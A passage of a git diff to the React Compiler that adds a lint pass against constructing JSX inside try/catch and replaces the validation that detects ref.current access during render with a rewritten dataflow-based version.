+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {CompilerDiagnostic, CompilerError} from '..';
+import {ErrorCategory} from '../CompilerError';
+import {BlockId, HIRFunction} from '../HIR';
+import {Result} from '../Utils/Result';
+import {retainWhere} from '../Utils/utils';
+
+/**
+ * Developers may not be aware of error boundaries and lazy evaluation of JSX, leading them
+ * to use patterns such as `let el; try { el = <Component /> } catch { ... }` to attempt to
+ * catch rendering errors. Such code will fail to catch errors in rendering, but developers
+ * may not realize this right away.
+ *
+ * This validation pass validates against this pattern: specifically, it errors for JSX
+ * created within a try block. JSX is allowed within a catch statement, unless that catch
+ * is itself nested inside an outer try.
+ */
+export function validateNoJSXInTryStatement(
+  fn: HIRFunction,
+): Result<void, CompilerError> {
+  const activeTryBlocks: Array<BlockId> = [];
+  const errors = new CompilerError();
+  for (const [, block] of fn.body.blocks) {
+    retainWhere(activeTryBlocks, id => id !== block.id);
+
+    if (activeTryBlocks.length !== 0) {
+      for (const instr of block.instructions) {
+        const {value} = instr;
+        switch (value.kind) {
+          case 'JsxExpression':
+          case 'JsxFragment': {
+            errors.pushDiagnostic(
+              CompilerDiagnostic.create({
+                category: ErrorCategory.ErrorBoundaries,
+                reason: 'Avoid constructing JSX within try/catch',
+                description: `React does not immediately render components when JSX is rendered, so any errors from this component will not be caught by the try/catch. To catch errors in rendering a given component, wrap that component in an error boundary. (https://react.dev/reference/react/Component#catching-rendering-errors-with-an-error-boundary)`,
+              }).withDetails({
+                kind: 'error',
+                loc: value.loc,
+                message: 'Avoid constructing JSX within try/catch',
+              }),
+            );
+            break;
+          }
+        }
+      }
+    }
+
+    if (block.terminal.kind === 'try') {
+      activeTryBlocks.push(block.terminal.handler);
+    }
+  }
+  return errors.asResult();
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoRefAccesInRender.ts b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoRefAccesInRender.ts
deleted file mode 100644
index f0c3fdf2cbad..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoRefAccesInRender.ts
+++ /dev/null
@@ -1,251 +0,0 @@
-/**
- * Copyright (c) Meta Platforms, Inc. and affiliates.
- *
- * This source code is licensed under the MIT license found in the
- * LICENSE file in the root directory of this source tree.
- */
-
-import { CompilerError, ErrorSeverity } from "../CompilerError";
-import {
-  HIRFunction,
-  IdentifierId,
-  Place,
-  SourceLocation,
-  isRefValueType,
-  isUseRefType,
-} from "../HIR";
-import { printPlace } from "../HIR/PrintHIR";
-import {
-  eachInstructionValueOperand,
-  eachTerminalOperand,
-} from "../HIR/visitors";
-import { Err, Ok, Result } from "../Utils/Result";
-import { isEffectHook } from "./ValidateMemoizedEffectDependencies";
-
-/**
- * Validates that a function does not access a ref value during render. This includes a partial check
- * for ref values which are accessed indirectly via function expressions.
- *
- * ```javascript
- * // ERROR
- * const ref = useRef();
- * ref.current;
- *
- * const ref = useRef();
- * foo(ref); // may access .current
- *
- * // ALLOWED
- * const ref = useHookThatReturnsRef();
- * ref.current;
- * ```
- *
- * In the future we may reject more cases, based on either object names (`fooRef.current` is likely a ref)
- * or based on property name alone (`foo.current` might be a ref).
- */
-export function validateNoRefAccessInRender(fn: HIRFunction): void {
-  const refAccessingFunctions: Set<IdentifierId> = new Set();
-  validateNoRefAccessInRenderImpl(fn, refAccessingFunctions).unwrap();
-}
-
-function validateNoRefAccessInRenderImpl(
-  fn: HIRFunction,
-  refAccessingFunctions: Set<IdentifierId>
-): Result<void, CompilerError> {
-  const errors = new CompilerError();
-  for (const [, block] of fn.body.blocks) {
-    for (const instr of block.instructions) {
-      switch (instr.value.kind) {
-        case "JsxExpression":
-        case "JsxFragment": {
-          for (const operand of eachInstructionValueOperand(instr.value)) {
-            if (isRefValueType(operand.identifier)) {
-              errors.push({
-                severity: ErrorSeverity.InvalidReact,
-                reason:
-                  "Ref values (the `current` property) may not be accessed during render. (https://react.dev/reference/react/useRef)",
-                loc: operand.loc,
-                description: `Cannot access ref value at ${printPlace(
-                  operand
-                )}`,
-                suggestions: null,
-              });
-            }
-          }
-          break;
-        }
-        case "PropertyLoad": {
-          break;
-        }
-        case "LoadLocal": {
-          if (refAccessingFunctions.has(instr.value.place.identifier.id)) {
-            refAccessingFunctions.add(instr.lvalue.identifier.id);
-          }
-          break;
-        }
-        case "StoreLocal": {
-          if (refAccessingFunctions.has(instr.value.value.identifier.id)) {
-            refAccessingFunctions.add(instr.value.lvalue.place.identifier.id);
-            refAccessingFunctions.add(instr.lvalue.identifier.id);
-          }
-          break;
-        }
-        case "ObjectMethod":
-        case "FunctionExpression": {
-          if (
-            /*
-             * check if the function expression accesses a ref *or* some other
-             * function which accesses a ref
-             */
-            [...eachInstructionValueOperand(instr.value)].some(
-              (operand) =>
-                isRefValueType(operand.identifier) ||
-                refAccessingFunctions.has(operand.identifier.id)
-            ) ||
-            // check for cases where .current is accessed through an aliased ref
-            ([...eachInstructionValueOperand(instr.value)].some((operand) =>
-              isUseRefType(operand.identifier)
-            ) &&
-              validateNoRefAccessInRenderImpl(
-                instr.value.loweredFunc.func,
-                refAccessingFunctions
-              ).isErr())
-          ) {
-            // This function expression unconditionally accesses a ref
-            refAccessingFunctions.add(instr.lvalue.identifier.id);
-          }
-          break;
-        }
-        case "MethodCall": {
-          if (!isEffectHook(instr.value.property.identifier)) {
-            for (const operand of eachInstructionValueOperand(instr.value)) {
-              validateNoRefAccess(
-                errors,
-                refAccessingFunctions,
-                operand,
-                operand.loc
-              );
-            }
-          }
-          break;
-        }
-        case "CallExpression": {
-          const callee = instr.value.callee;
-          const isUseEffect = isEffectHook(callee.identifier);
-          if (!isUseEffect) {
-            // Report a more precise error when calling a local function that accesses a ref
-            if (refAccessingFunctions.has(callee.identifier.id)) {
-              errors.push({
-                severity: ErrorSeverity.InvalidReact,
-                reason:
-                  "This function accesses a ref value (the `current` property), which may not be accessed during render. (https://react.dev/reference/react/useRef)",
-                loc: callee.loc,
-                description: `Function ${printPlace(callee)} accesses a ref`,
-                suggestions: null,
-              });
-            }
-            for (const operand of eachInstructionValueOperand(instr.value)) {
-              validateNoRefAccess(
-                errors,
-                refAccessingFunctions,
-                operand,
-                operand.loc
-              );
-            }
-          }
-          break;
-        }
-        case "ObjectExpression":
-        case "ArrayExpression": {
-          for (const operand of eachInstructionValueOperand(instr.value)) {
-            validateNoRefAccess(
-              errors,
-              refAccessingFunctions,
-              operand,
-              operand.loc
-            );
-          }
-          break;
-        }
-        case "PropertyDelete":
-        case "PropertyStore":
-        case "ComputedDelete":
-        case "ComputedStore": {
-          validateNoRefAccess(
-            errors,
-            refAccessingFunctions,
-            instr.value.object,
-            instr.loc
-          );
-          for (const operand of eachInstructionValueOperand(instr.value)) {
-            if (operand === instr.value.object) {
-              continue;
-            }
-            validateNoRefValueAccess(errors, refAccessingFunctions, operand);
-          }
-          break;
-        }
-        default: {
-          for (const operand of eachInstructionValueOperand(instr.value)) {
-            validateNoRefValueAccess(errors, refAccessingFunctions, operand);
-          }
-          break;
-        }
-      }
-    }
-    for (const operand of eachTerminalOperand(block.terminal)) {
-      validateNoRefValueAccess(errors, refAccessingFunctions, operand);
-    }
-  }
-
-  if (errors.hasErrors()) {
-    return Err(errors);
-  } else {
-    return Ok(undefined);
-  }
-}
-
-function validateNoRefValueAccess(
-  errors: CompilerError,
-  refAccessingFunctions: Set<IdentifierId>,
-  operand: Place
-): void {
-  if (
-    isRefValueType(operand.identifier) ||
-    refAccessingFunctions.has(operand.identifier.id)
-  ) {
-    errors.push({
-      severity: ErrorSeverity.InvalidReact,
-      reason:
-        "Ref values (the `current` property) may not be accessed during render. (https://react.dev/reference/react/useRef)",
-      loc: operand.loc,
-      description: `Cannot access ref value at ${printPlace(operand)}`,
-      suggestions: null,
-    });
-  }
-}
-
-function validateNoRefAccess(
-  errors: CompilerError,
-  refAccessingFunctions: Set<IdentifierId>,
-  operand: Place,
-  loc: SourceLocation
-): void {
-  if (
-    isRefValueType(operand.identifier) ||
-    isUseRefType(operand.identifier) ||
-    refAccessingFunctions.has(operand.identifier.id)
-  ) {
-    errors.push({
-      severity: ErrorSeverity.InvalidReact,
-      reason:
-        "Ref values (the `current` property) may not be accessed during render. (https://react.dev/reference/react/useRef)",
-      loc: loc,
-      description:
-        operand.identifier.name !== null &&
-        operand.identifier.name.kind === "named"
-          ? `Cannot access ref value \`${operand.identifier.name.value}\``
-          : null,
-      suggestions: null,
-    });
-  }
-}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoRefAccessInRender.ts b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoRefAccessInRender.ts
new file mode 100644
index 000000000000..7da564205475
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/Validation/ValidateNoRefAccessInRender.ts
@@ -0,0 +1,964 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ */
+
+import {
+  CompilerDiagnostic,
+  CompilerError,
+  ErrorCategory,
+} from '../CompilerError';
+import {
+  BlockId,
+  GeneratedSource,
+  HIRFunction,
+  IdentifierId,
+  Place,
+  SourceLocation,
+  getHookKindForType,
+  isRefValueType,
+  isUseRefType,
+} from '../HIR';
+import {
+  eachInstructionOperand,
+  eachInstructionValueOperand,
+  eachPatternOperand,
+  eachTerminalOperand,
+} from '../HIR/visitors';
+import {retainWhere} from '../Utils/utils';
+
+/**
+ * Validates that a function does not access a ref value during render. This includes a partial check
+ * for ref values which are accessed indirectly via function expressions.
+ *
+ * ```javascript
+ * // ERROR
+ * const ref = useRef();
+ * ref.current;
+ *
+ * const ref = useRef();
+ * foo(ref); // may access .current
+ *
+ * // ALLOWED
+ * const ref = useHookThatReturnsRef();
+ * ref.current;
+ * ```
+ *
+ * In the future we may reject more cases, based on either object names (`fooRef.current` is likely a ref)
+ * or based on property name alone (`foo.current` might be a ref).
+ */
+
+const opaqueRefId = Symbol();
+type RefId = number & {[opaqueRefId]: 'RefId'};
+
+function makeRefId(id: number): RefId {
+  CompilerError.invariant(id >= 0 && Number.isInteger(id), {
+    reason: 'Expected identifier id to be a non-negative integer',
+    loc: GeneratedSource,
+  });
+  return id as RefId;
+}
+let _refId = 0;
+function nextRefId(): RefId {
+  return makeRefId(_refId++);
+}
+
+type RefAccessType =
+  | {kind: 'None'}
+  | {kind: 'Nullable'}
+  | {kind: 'Guard'; refId: RefId}
+  | RefAccessRefType;
+
+type RefAccessRefType =
+  | {kind: 'Ref'; refId: RefId}
+  | {kind: 'RefValue'; loc?: SourceLocation; refId?: RefId}
+  | {kind: 'Structure'; value: null | RefAccessRefType; fn: null | RefFnType};
+
+type RefFnType = {readRefEffect: boolean; returnType: RefAccessType};
+
+class Env {
+  #changed = false;
+  #data: Map<IdentifierId, RefAccessType> = new Map();
+  #temporaries: Map<IdentifierId, Place> = new Map();
+
+  lookup(place: Place): Place {
+    return this.#temporaries.get(place.identifier.id) ?? place;
+  }
+
+  define(place: Place, value: Place): void {
+    this.#temporaries.set(place.identifier.id, value);
+  }
+
+  resetChanged(): void {
+    this.#changed = false;
+  }
+
+  hasChanged(): boolean {
+    return this.#changed;
+  }
+
+  get(key: IdentifierId): RefAccessType | undefined {
+    const operandId = this.#temporaries.get(key)?.identifier.id ?? key;
+    return this.#data.get(operandId);
+  }
+
+  set(key: IdentifierId, value: RefAccessType): this {
+    const operandId = this.#temporaries.get(key)?.identifier.id ?? key;
+    const cur = this.#data.get(operandId);
+    const widenedValue = joinRefAccessTypes(value, cur ?? {kind: 'None'});
+    if (
+      !(cur == null && widenedValue.kind === 'None') &&
+      (cur == null || !tyEqual(cur, widenedValue))
+    ) {
+      this.#changed = true;
+    }
+    this.#data.set(operandId, widenedValue);
+    return this;
+  }
+}
+
+export function validateNoRefAccessInRender(fn: HIRFunction): void {
+  const env = new Env();
+  collectTemporariesSidemap(fn, env);
+  const errors = new CompilerError();
+  validateNoRefAccessInRenderImpl(fn, env, errors);
+  for (const detail of errors.details) {
+    fn.env.recordError(detail);
+  }
+}
+
+function collectTemporariesSidemap(fn: HIRFunction, env: Env): void {
+  for (const block of fn.body.blocks.values()) {
+    for (const instr of block.instructions) {
+      const {lvalue, value} = instr;
+      switch (value.kind) {
+        case 'LoadLocal': {
+          const temp = env.lookup(value.place);
+          if (temp != null) {
+            env.define(lvalue, temp);
+          }
+          break;
+        }
+        case 'StoreLocal': {
+          const temp = env.lookup(value.value);
+          if (temp != null) {
+            env.define(lvalue, temp);
+            env.define(value.lvalue.place, temp);
+          }
+          break;
+        }
+        case 'PropertyLoad': {
+          if (
+            isUseRefType(value.object.identifier) &&
+            value.property === 'current'
+          ) {
+            continue;
+          }
+          const temp = env.lookup(value.object);
+          if (temp != null) {
+            env.define(lvalue, temp);
+          }
+          break;
+        }
+      }
+    }
+  }
+}
+
+function refTypeOfType(place: Place): RefAccessType {
+  if (isRefValueType(place.identifier)) {
+    return {kind: 'RefValue'};
+  } else if (isUseRefType(place.identifier)) {
+    return {kind: 'Ref', refId: nextRefId()};
+  } else {
+    return {kind: 'None'};
+  }
+}
+
+function tyEqual(a: RefAccessType, b: RefAccessType): boolean {
+  if (a.kind !== b.kind) {
+    return false;
+  }
+  switch (a.kind) {
+    case 'None':
+      return true;
+    case 'Ref':
+      return true;
+    case 'Nullable':
+      return true;
+    case 'Guard':
+      CompilerError.invariant(b.kind === 'Guard', {
+        reason: 'Expected ref value',
+        loc: GeneratedSource,
+      });
+      return a.refId === b.refId;
+    case 'RefValue':
+      CompilerError.invariant(b.kind === 'RefValue', {
+        reason: 'Expected ref value',
+        loc: GeneratedSource,
+      });
+      return a.loc == b.loc;
+    case 'Structure': {
+      CompilerError.invariant(b.kind === 'Structure', {
+        reason: 'Expected structure',
+        loc: GeneratedSource,
+      });
+      const fnTypesEqual =
+        (a.fn === null && b.fn === null) ||
+        (a.fn !== null &&
+          b.fn !== null &&
+          a.fn.readRefEffect === b.fn.readRefEffect &&
+          tyEqual(a.fn.returnType, b.fn.returnType));
+      return (
+        fnTypesEqual &&
+        (a.value === b.value ||
+          (a.value !== null && b.value !== null && tyEqual(a.value, b.value)))
+      );
+    }
+  }
+}
+
+function joinRefAccessTypes(...types: Array<RefAccessType>): RefAccessType {
+  function joinRefAccessRefTypes(
+    a: RefAccessRefType,
+    b: RefAccessRefType,
+  ): RefAccessRefType {
+    if (a.kind === 'RefValue') {
+      if (b.kind === 'RefValue' && a.refId === b.refId) {
+        return a;
+      }
+      return {kind: 'RefValue'};
+    } else if (b.kind === 'RefValue') {
+      return b;
+    } else if (a.kind === 'Ref' || b.kind === 'Ref') {
+      if (a.kind === 'Ref' && b.kind === 'Ref' && a.refId === b.refId) {
+        return a;
+      }
+      return {kind: 'Ref', refId: nextRefId()};
+    } else {
+      CompilerError.invariant(
+        a.kind === 'Structure' && b.kind === 'Structure',
+        {
+          reason: 'Expected structure',
+          loc: GeneratedSource,
+        },
+      );
+      const fn =
+        a.fn === null
+          ? b.fn
+          : b.fn === null
+            ? a.fn
+            : {
+                readRefEffect: a.fn.readRefEffect || b.fn.readRefEffect,
+                returnType: joinRefAccessTypes(
+                  a.fn.returnType,
+                  b.fn.returnType,
+                ),
+              };
+      const value =
+        a.value === null
+          ? b.value
+          : b.value === null
+            ? a.value
+            : joinRefAccessRefTypes(a.value, b.value);
+      return {
+        kind: 'Structure',
+        fn,
+        value,
+      };
+    }
+  }
+
+  return types.reduce(
+    (a, b) => {
+      if (a.kind === 'None') {
+        return b;
+      } else if (b.kind === 'None') {
+        return a;
+      } else if (a.kind === 'Guard') {
+        if (b.kind === 'Guard' && a.refId === b.refId) {
+          return a;
+        } else if (b.kind === 'Nullable' || b.kind === 'Guard') {
+          return {kind: 'None'};
+        } else {
+          return b;
+        }
+      } else if (b.kind === 'Guard') {
+        if (a.kind === 'Nullable') {
+          return {kind: 'None'};
+        } else {
+          return b;
+        }
+      } else if (a.kind === 'Nullable') {
+        return b;
+      } else if (b.kind === 'Nullable') {
+        return a;
+      } else {
+        return joinRefAccessRefTypes(a, b);
+      }
+    },
+    {kind: 'None'},
+  );
+}
+
+function validateNoRefAccessInRenderImpl(
+  fn: HIRFunction,
+  env: Env,
+  errors: CompilerError,
+): RefAccessType {
+  let returnValues: Array<undefined | RefAccessType> = [];
+  let place;
+  for (const param of fn.params) {
+    if (param.kind === 'Identifier') {
+      place = param;
+    } else {
+      place = param.place;
+    }
+    const type = refTypeOfType(place);
+    env.set(place.identifier.id, type);
+  }
+
+  const interpolatedAsJsx = new Set<IdentifierId>();
+  for (const block of fn.body.blocks.values()) {
+    for (const instr of block.instructions) {
+      const {value} = instr;
+      if (value.kind === 'JsxExpression' || value.kind === 'JsxFragment') {
+        if (value.children != null) {
+          for (const child of value.children) {
+            interpolatedAsJsx.add(child.identifier.id);
+          }
+        }
+      }
+    }
+  }
+
+  for (let i = 0; (i == 0 || env.hasChanged()) && i < 10; i++) {
+    env.resetChanged();
+    returnValues = [];
+    const safeBlocks: Array<{block: BlockId; ref: RefId}> = [];
+    for (const [, block] of fn.body.blocks) {
+      retainWhere(safeBlocks, entry => entry.block !== block.id);
+      for (const phi of block.phis) {
+        env.set(
+          phi.place.identifier.id,
+          joinRefAccessTypes(
+            ...Array(...phi.operands.values()).map(
+              operand =>
+                env.get(operand.identifier.id) ?? ({kind: 'None'} as const),
+            ),
+          ),
+        );
+      }
+
+      for (const instr of block.instructions) {
+        switch (instr.value.kind) {
+          case 'JsxExpression':
+          case 'JsxFragment': {
+            for (const operand of eachInstructionValueOperand(instr.value)) {
+              validateNoDirectRefValueAccess(errors, operand, env);
+            }
+            break;
+          }
+          case 'ComputedLoad':
+          case 'PropertyLoad': {
+            if (instr.value.kind === 'ComputedLoad') {
+              validateNoDirectRefValueAccess(errors, instr.value.property, env);
+            }
+            const objType = env.get(instr.value.object.identifier.id);
+            let lookupType: null | RefAccessType = null;
+            if (objType?.kind === 'Structure') {
+              lookupType = objType.value;
+            } else if (objType?.kind === 'Ref') {
+              lookupType = {
+                kind: 'RefValue',
+                loc: instr.loc,
+                refId: objType.refId,
+              };
+            }
+            env.set(
+              instr.lvalue.identifier.id,
+              lookupType ?? refTypeOfType(instr.lvalue),
+            );
+            break;
+          }
+          case 'TypeCastExpression': {
+            env.set(
+              instr.lvalue.identifier.id,
+              env.get(instr.value.value.identifier.id) ??
+                refTypeOfType(instr.lvalue),
+            );
+            break;
+          }
+          case 'LoadContext':
+          case 'LoadLocal': {
+            env.set(
+              instr.lvalue.identifier.id,
+              env.get(instr.value.place.identifier.id) ??
+                refTypeOfType(instr.lvalue),
+            );
+            break;
+          }
+          case 'StoreContext':
+          case 'StoreLocal': {
+            env.set(
+              instr.value.lvalue.place.identifier.id,
+              env.get(instr.value.value.identifier.id) ??
+                refTypeOfType(instr.value.lvalue.place),
+            );
+            env.set(
+              instr.lvalue.identifier.id,
+              env.get(instr.value.value.identifier.id) ??
+                refTypeOfType(instr.lvalue),
+            );
+            break;
+          }
+          case 'Destructure': {
+            const objType = env.get(instr.value.value.identifier.id);
+            let lookupType = null;
+            if (objType?.kind === 'Structure') {
+              lookupType = objType.value;
+            }
+            env.set(
+              instr.lvalue.identifier.id,
+              lookupType ?? refTypeOfType(instr.lvalue),
+            );
+            for (const lval of eachPatternOperand(instr.value.lvalue.pattern)) {
+              env.set(lval.identifier.id, lookupType ?? refTypeOfType(lval));
+            }
+            break;
+          }
+          case 'ObjectMethod':
+          case 'FunctionExpression': {
+            let returnType: RefAccessType = {kind: 'None'};
+            let readRefEffect = false;
+            const innerErrors = new CompilerError();
+            const result = validateNoRefAccessInRenderImpl(
+              instr.value.loweredFunc.func,
+              env,
+              innerErrors,
+            );
+            if (!innerErrors.hasAnyErrors()) {
+              returnType = result;
+            } else {
+              readRefEffect = true;
+            }
+            env.set(instr.lvalue.identifier.id, {
+              kind: 'Structure',
+              fn: {
+                readRefEffect,
+                returnType,
+              },
+              value: null,
+            });
+            break;
+          }
+          case 'MethodCall':
+          case 'CallExpression': {
+            const callee =
+              instr.value.kind === 'CallExpression'
+                ? instr.value.callee
+                : instr.value.property;
+            const hookKind = getHookKindForType(fn.env, callee.identifier.type);
+            let returnType: RefAccessType = {kind: 'None'};
+            const fnType = env.get(callee.identifier.id);
+            let didError = false;
+            if (fnType?.kind === 'Structure' && fnType.fn !== null) {
+              returnType = fnType.fn.returnType;
+              if (fnType.fn.readRefEffect) {
+                didError = true;
+                errors.pushDiagnostic(
+                  CompilerDiagnostic.create({
+                    category: ErrorCategory.Refs,
+                    reason: 'Cannot access refs during render',
+                    description: ERROR_DESCRIPTION,
+                  }).withDetails({
+                    kind: 'error',
+                    loc: callee.loc,
+                    message: `This function accesses a ref value`,
+                  }),
+                );
+              }
+            }
+            /*
+             * If we already reported an error on this instruction, don't report
+             * duplicate errors
+             */
+            if (!didError) {
+              const isRefLValue = isUseRefType(instr.lvalue.identifier);
+              if (
+                isRefLValue ||
+                (hookKind != null &&
+                  hookKind !== 'useState' &&
+                  hookKind !== 'useReducer')
+              ) {
+                for (const operand of eachInstructionValueOperand(
+                  instr.value,
+                )) {
+                  /**
+                   * Allow passing refs or ref-accessing functions when:
+                   * 1. lvalue is a ref (mergeRefs pattern: `mergeRefs(ref1, ref2)`)
+                   * 2. calling hooks (independently validated for ref safety)
+                   */
+                  validateNoDirectRefValueAccess(errors, operand, env);
+                }
+              } else if (interpolatedAsJsx.has(instr.lvalue.identifier.id)) {
+                for (const operand of eachInstructionValueOperand(
+                  instr.value,
+                )) {
+                  /**
+                   * Special case: the lvalue is passed as a jsx child
+                   *
+                   * For example `<Foo>{renderHelper(ref)}</Foo>`. Here we have more
+                   * context and infer that the ref is being passed to a component-like
+                   * render function which attempts to obey the rules.
+                   */
+                  validateNoRefValueAccess(errors, env, operand);
+                }
+              } else if (hookKind == null && instr.effects != null) {
+                /**
+                 * For non-hook functions with known aliasing effects, use the
+                 * effects to determine what validation to apply for each place.
+                 * Track visited id:kind pairs to avoid duplicate errors.
+                 */
+                const visitedEffects: Set<string> = new Set();
+                for (const effect of instr.effects) {
+                  let place: Place | null = null;
+                  let validation: 'ref-passed' | 'direct-ref' | 'none' = 'none';
+                  switch (effect.kind) {
+                    case 'Freeze': {
+                      place = effect.value;
+                      validation = 'direct-ref';
+                      break;
+                    }
+                    case 'Mutate':
+                    case 'MutateTransitive':
+                    case 'MutateConditionally':
+                    case 'MutateTransitiveConditionally': {
+                      place = effect.value;
+                      validation = 'ref-passed';
+                      break;
+                    }
+                    case 'Render': {
+                      place = effect.place;
+                      validation = 'ref-passed';
+                      break;
+                    }
+                    case 'Capture':
+                    case 'Alias':
+                    case 'MaybeAlias':
+                    case 'Assign':
+                    case 'CreateFrom': {
+                      place = effect.from;
+                      validation = 'ref-passed';
+                      break;
+                    }
+                    case 'ImmutableCapture': {
+                      /**
+                       * ImmutableCapture can come from two sources:
+                       * 1. A known signature that explicitly freezes the operand
+                       *    (e.g. PanResponder.create) — safe, the function doesn't
+                       *    call callbacks during render.
+                       * 2. Downgraded defaults when the operand is already frozen
+                       *    (e.g. foo(propRef)) — the function is unknown and may
+                       *    access the ref.
+                       *
+                       * We distinguish these by checking whether the same operand
+                       * also has a Freeze effect on this instruction, which only
+                       * comes from known signatures.
+                       */
+                      place = effect.from;
+                      const isFrozen = instr.effects.some(
+                        e =>
+                          e.kind === 'Freeze' &&
+                          e.value.identifier.id === effect.from.identifier.id,
+                      );
+                      validation = isFrozen ? 'direct-ref' : 'ref-passed';
+                      break;
+                    }
+                    case 'Create':
+                    case 'CreateFunction':
+                    case 'Apply':
+                    case 'Impure':
+                    case 'MutateFrozen':
+                    case 'MutateGlobal': {
+                      break;
+                    }
+                  }
+                  if (place !== null && validation !== 'none') {
+                    const key = `${place.identifier.id}:${validation}`;
+                    if (!visitedEffects.has(key)) {
+                      visitedEffects.add(key);
+                      if (validation === 'direct-ref') {
+                        validateNoDirectRefValueAccess(errors, place, env);
+                      } else {
+                        validateNoRefPassedToFunction(
+                          errors,
+                          env,
+                          place,
+                          place.loc,
+                        );
+                      }
+                    }
+                  }
+                }
+              } else {
+                for (const operand of eachInstructionValueOperand(
+                  instr.value,
+                )) {
+                  validateNoRefPassedToFunction(
+                    errors,
+                    env,
+                    operand,
+                    operand.loc,
+                  );
+                }
+              }
+            }
+            env.set(instr.lvalue.identifier.id, returnType);
+            break;
+          }
+          case 'ObjectExpression':
+          case 'ArrayExpression': {
+            const types: Array<RefAccessType> = [];
+            for (const operand of eachInstructionValueOperand(instr.value)) {
+              validateNoDirectRefValueAccess(errors, operand, env);
+              types.push(env.get(operand.identifier.id) ?? {kind: 'None'});
+            }
+            const value = joinRefAccessTypes(...types);
+            if (
+              value.kind === 'None' ||
+              value.kind === 'Guard' ||
+              value.kind === 'Nullable'
+            ) {
+              env.set(instr.lvalue.identifier.id, {kind: 'None'});
+            } else {
+              env.set(instr.lvalue.identifier.id, {
+                kind: 'Structure',
+                value,
+                fn: null,
+              });
+            }
+            break;
+          }
+          case 'PropertyDelete':
+          case 'PropertyStore':
+          case 'ComputedDelete':
+          case 'ComputedStore': {
+            const target = env.get(instr.value.object.identifier.id);
+            let safe: (typeof safeBlocks)['0'] | null | undefined = null;
+            if (
+              instr.value.kind === 'PropertyStore' &&
+              target != null &&
+              target.kind === 'Ref'
+            ) {
+              safe = safeBlocks.find(entry => entry.ref === target.refId);
+            }
+            if (safe != null) {
+              retainWhere(safeBlocks, entry => entry !== safe);
+            } else {
+              validateNoRefUpdate(errors, env, instr.value.object, instr.loc);
+            }
+            if (
+              instr.value.kind === 'ComputedDelete' ||
+              instr.value.kind === 'ComputedStore'
+            ) {
+              validateNoRefValueAccess(errors, env, instr.value.property);
+            }
+            if (
+              instr.value.kind === 'ComputedStore' ||
+              instr.value.kind === 'PropertyStore'
+            ) {
+              validateNoDirectRefValueAccess(errors, instr.value.value, env);
+              const type = env.get(instr.value.value.identifier.id);
+              if (type != null && type.kind === 'Structure') {
+                let objectType: RefAccessType = type;
+                if (target != null) {
+                  objectType = joinRefAccessTypes(objectType, target);
+                }
+                env.set(instr.value.object.identifier.id, objectType);
+              }
+            }
+            break;
+          }
+          case 'StartMemoize':
+          case 'FinishMemoize':
+            break;
+          case 'LoadGlobal': {
+            if (instr.value.binding.name === 'undefined') {
+              env.set(instr.lvalue.identifier.id, {kind: 'Nullable'});
+            }
+            break;
+          }
+          case 'Primitive': {
+            if (instr.value.value == null) {
+              env.set(instr.lvalue.identifier.id, {kind: 'Nullable'});
+            }
+            break;
+          }
+          case 'UnaryExpression': {
+            if (instr.value.operator === '!') {
+              const value = env.get(instr.value.value.identifier.id);
+              const refId =
+                value?.kind === 'RefValue' && value.refId != null
+                  ? value.refId
+                  : null;
+              if (refId !== null) {
+                /*
+                 * Record an error suggesting the `if (ref.current == null)` pattern,
+                 * but also record the lvalue as a guard so that we don't emit a second
+                 * error for the write to the ref
+                 */
+                env.set(instr.lvalue.identifier.id, {kind: 'Guard', refId});
+                errors.pushDiagnostic(
+                  CompilerDiagnostic.create({
+                    category: ErrorCategory.Refs,
+                    reason: 'Cannot access refs during render',
+                    description: ERROR_DESCRIPTION,
+                  })
+                    .withDetails({
+                      kind: 'error',
+                      loc: instr.value.value.loc,
+                      message: `Cannot access ref value during render`,
+                    })
+                    .withDetails({
+                      kind: 'hint',
+                      message:
+                        'To initialize a ref only once, check that the ref is null with the pattern `if (ref.current == null) { ref.current = ... }`',
+                    }),
+                );
+                break;
+              }
+            }
+            validateNoRefValueAccess(errors, env, instr.value.value);
+            break;
+          }
+          case 'BinaryExpression': {
+            const left = env.get(instr.value.left.identifier.id);
+            const right = env.get(instr.value.right.identifier.id);
+            let nullish: boolean = false;
+            let refId: RefId | null = null;
+            if (left?.kind === 'RefValue' && left.refId != null) {
+              refId = left.refId;
+            } else if (right?.kind === 'RefValue' && right.refId != null) {
+              refId = right.refId;
+            }
+
+            if (left?.kind === 'Nullable') {
+              nullish = true;
+            } else if (right?.kind === 'Nullable') {
+              nullish = true;
+            }
+
+            if (refId !== null && nullish) {
+              env.set(instr.lvalue.identifier.id, {kind: 'Guard', refId});
+            } else {
+              for (const operand of eachInstructionValueOperand(instr.value)) {
+                validateNoRefValueAccess(errors, env, operand);
+              }
+            }
+            break;
+          }
+          default: {
+            for (const operand of eachInstructionValueOperand(instr.value)) {
+              validateNoRefValueAccess(errors, env, operand);
+            }
+            break;
+          }
+        }
+
+        // Guard values are derived from ref.current, so they can only be used in if statement targets
+        for (const operand of eachInstructionOperand(instr)) {
+          guardCheck(errors, operand, env);
+        }
+
+        if (
+          isUseRefType(instr.lvalue.identifier) &&
+          env.get(instr.lvalue.identifier.id)?.kind !== 'Ref'
+        ) {
+          env.set(
+            instr.lvalue.identifier.id,
+            joinRefAccessTypes(
+              env.get(instr.lvalue.identifier.id) ?? {kind: 'None'},
+              {kind: 'Ref', refId: nextRefId()},
+            ),
+          );
+        }
+        if (
+          isRefValueType(instr.lvalue.identifier) &&
+          env.get(instr.lvalue.identifier.id)?.kind !== 'RefValue'
+        ) {
+          env.set(
+            instr.lvalue.identifier.id,
+            joinRefAccessTypes(
+              env.get(instr.lvalue.identifier.id) ?? {kind: 'None'},
+              {kind: 'RefValue', loc: instr.loc},
+            ),
+          );
+        }
+      }
+
+      if (block.terminal.kind === 'if') {
+        const test = env.get(block.terminal.test.identifier.id);
+        if (
+          test?.kind === 'Guard' &&
+          safeBlocks.find(entry => entry.ref === test.refId) == null
+        ) {
+          safeBlocks.push({block: block.terminal.fallthrough, ref: test.refId});
+        }
+      }
+
